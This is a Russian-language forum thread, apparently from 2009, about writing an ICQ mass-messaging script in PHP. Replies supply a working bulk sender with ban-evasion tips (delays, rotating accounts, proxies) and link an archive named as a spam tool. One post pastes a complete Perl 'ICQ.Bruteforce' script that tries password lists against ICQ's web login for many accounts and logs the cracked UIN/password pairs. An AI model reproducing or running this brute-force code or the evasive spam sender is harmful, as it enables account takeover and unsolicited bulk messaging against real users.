PDA

Просмотр полной версии : ICQ рассылка на php


mff
17.03.2009, 19:36
Здравствуйте дорогие античатовцы! :)

Требуется ваша бесценная помощь.
Задача: написать простенький рассыльщих ICQ на php. Рассылать нужно будет по базе подписчиков.
Реально ли это? Если да, то подскажите с чего начинать.

Когда то делал месенгер на php и flash используя WebIcqLite.class - работал, но нестабильно.

Спасибо!

mailbrush
17.03.2009, 20:12
Реально, вот алгоритм: качаешь класс WebIcqLite. Заносишь базу подписчиков в массив:
$base=explode("\r\n",file_get_contents('base.txt'));Потом в цикле for($i=0;$i<=count($base);$i++)
{
$icq->send_message($base[$i], "Message");
sleep(2);
}
Аську выбрасывает, если подряд сообщения идут с одного нума - поэтому прилепил слип. Либо можешь еще в цикл define('UIN', $uins[$i]);
define('PASSWORD', $pass[$i]); опять же чтобы не выкидало аську. Только очень часто не логинись - надо будет прокси юзать.

rushter
17.03.2009, 20:19
Реально, вот алгоритм: качаешь класс WebIcqLite. Заносишь базу подписчиков в массив:
$base=explode("\r\n",file_get_contents('base.txt'));

http://ru2.php.net/file ;)

mailbrush
17.03.2009, 20:31
rushter, ну да. Этим тоже можно. Забыл про него, разницы то нету.

Pashkela
17.03.2009, 21:39
ну в общем что-то в этом роде:


<?php
@set_time_limit(0);
@ini_set("display_errors","1");
ignore_user_abort(1);

include('WebIcqLite.class.php');

$ini = parse_ini_file("icq.ini");

$uin = $ini[uin]; // UIN для бота
$pass = $ini[pass]; // Пароль для UIN бота
$file_uin = $ini[file_uin]; // Файл, где список рассылки
$message = $ini[message]; // Сообщение
$pause = $ini[pause]; // пауза между сообщениями

define('UIN', $uin);
define('PASSWORD', $pass);

$icq = new WebIcqLite();
if(!$icq->connect(UIN, PASSWORD)) {
echo $icq->error;
exit();
}
$file = fopen($file_uin,'r');
while (!feof($file)) {
$buffer = trim(fgets($file));
$icq->send_message($buffer, $message);
echo "Message sent to $buffer \n";
flush();
sleep($pause);
}

$icq->disconnect();
exit();
?>


icq.ini:


uin = 123456 ; UIN, с которого рассылаем
pass = 1234 ; Пароль для UIN, с которого рассылаем
file_uin = uin.txt ; Файл со списком UIN для рассылки
message = test, do not reply this message, bot-test ; Собственно сама мессага для отсылки
pause = 2 ; Пауза между каждым сообщением, чтобы нас не забанили (в секундах)


uin.txt:


11111
22222
33333
44444


скачать сорцы + icq.exe (скомпилировано под винды, протестено под win xp, потому и стабильно) + настройки + сам класс в виде архива:

скачать (http://bug-track.ru/prog/ICQ_spam.rar)

mff
17.03.2009, 22:26
Спасибо ребят! Полез разбирать! :)

blaga
18.03.2009, 07:46
Pashkela, чем тебе так ини файлы нравяться?
вообще то не очень удобно, если кто нить узнает что такой файл есть на серваке то его можно тупо скачать и узнать нум и пасс с которого шлют, а потом и скачать файл с уинами подписчиков.
имхо было бы проще сделать на php этот файл а нумы хранить в БД... ИМХО

Gray_Wolf
18.03.2009, 08:28
2blaga *.ini и *.txt можно хранить в отдельном каталоге с .htaccess.

PandoraBox
18.03.2009, 09:20
на перл для многопоточности!

#!/usr/bin/perl

#############################################
#############################################
#
# ICQ.Bruteforce v1.7 by UsEle$$ gr0up
#
# Language: Perl Code
# Platform: Any with Perl started
# Author: Hunt
# All Rights Reserved by UsEle$$ gr0up
#
# 11.12.02
#
#############################################
#############################################

use IO::Socket;

$negative = 'incorrect';
$positive = 'change_details';
$server = 'web.icq.com';

# local files directives
$uins = 'uins.txt';
$passwordlst = 'pass.txt';
$success = 'log.txt';
$debuglog = 'debug.log';

# begin of script-code

print "\n\n\tICQ.Bruteforce v1.7 by UsEle\$\$ gr0up\n\n";
print "\tLanguage: Perl Code\n";
print "\tPlatform: Any with Perl started\n";
print "\tAuthor: Hunt\n";
print "\tAll Rights Reserved by UsEle\$\$ gr0up\n";
print "\tReady to work...\n\n";

&checkstart; # checking configuration
&openuins; # opening uins & pass list

sub checkstart
{
crash($uins) unless -f $uins;
crash($passwordlst) unless -f $passwordlst;
}

sub openuins
{
open UINS, "< $uins";
while (<UINS>) {
chomp $_;
push @uinslst, $_;
}
close UINS;
for ($iall = 0; $iall <= scalar @uinslst; $iall++) {
$prepareuin = $uinslst[$iall];
openpass($prepareuin);
}
}

sub openpass
{
my($uin) = @_;
open PASS, "< $passwordlst";
# while (<PASS>) {
# chomp $_;
# push @ps, $_;
# }
@ps = <PASS> while <PASS>;
close PASS;
foreach $pass (@ps) {
$done = crack($pass, $uin);
if ($done eq 2) {
print "\tFound\n";
return;
}
return if $done eq 3;
}
}

sub crack
{
my($passwd, $uin) = @_;
return 3 unless $passwd;
print "\tTrying $uin and $passwd... ";
$dir = "/newlogin/1,,,00.html?&karma_fail_url=http://web.icq.com/login/login_page?karma_product_css=11&karma_success_url=http://web.icq.com/whitepages/change_details/?&karma_forget=1&karma_service=1&karma_user_login=$uin&karma_user_passwd=$passwd";
$resuilt = sock($dir);
if ($resuilt == -1) {
print "Can\'t connect to server... Reconnecting\n";
redo;
} elsif (!$resuilt) {
print "failed\n";
return 0;
} elsif ($resuilt) {
print "success\n";
logging($success, "$uin\:$passwd");
$i++;
return 2;
}
}

sub sock
{
my($socket);
my($get) = @_;
$socket = IO::Socket::INET->new(PeerAddr => $server,
PeerPort => 80,
Proto => tcp) or return -1;
$get =~ s/\r|\n//g;
print $socket "HEAD $get HTTP/1.0\n\n";
while (<$socket>) {
$answer = $_;
chomp $answer;
if ($answer =~ /$positive/) {
close $socket;
return 1;
}
if ($answer =~ /$negative/) {
close $socket;
return 0;
}
}
}

sub logging
{
my($logg, $string) = @_;
open LOGG, ">> $logg";
print LOGG "$string\n";
close LOGG;
}

sub crash
{
my($file) = @_;
print "\tCan\'t access to $file\n";
exit;
}

Deathdreams
18.03.2009, 13:42
2 Pashkela
на самом деле ini файлы в данном случае неудобны.
не проще всё указать в переменных?
намного быстрее будет скрипт выполнятся.А так пока он будет парсить.
Здесь так и указать значения.

$uin = 'uin бота'; // UIN для бота
$pass = 'pass uin'; // Пароль для UIN бота
$file_uin = file(uins.txt); // Файл, где список рассылки
$message = 'месага'; // Сообщение
$pause = '2'; // пауза между сообщениями

Pashkela
18.03.2009, 19:37
2 Deathdreams:

Удобнее, удобнее, взял из своего бота просто, МНЕ так удобнее, чем удалять реальные UIN и ПАСС, прежде чем кому-то показывать код вообще. Думкайте, потом пишите. Скорость у них не та. ICQ-BOT на нескомпилированном php вообще бред

Derick
03.04.2009, 21:13
Кто нибудь пробовал отсылать сообщение где то исмовлов 200.? Я пробовал uin почему то сразу баниться.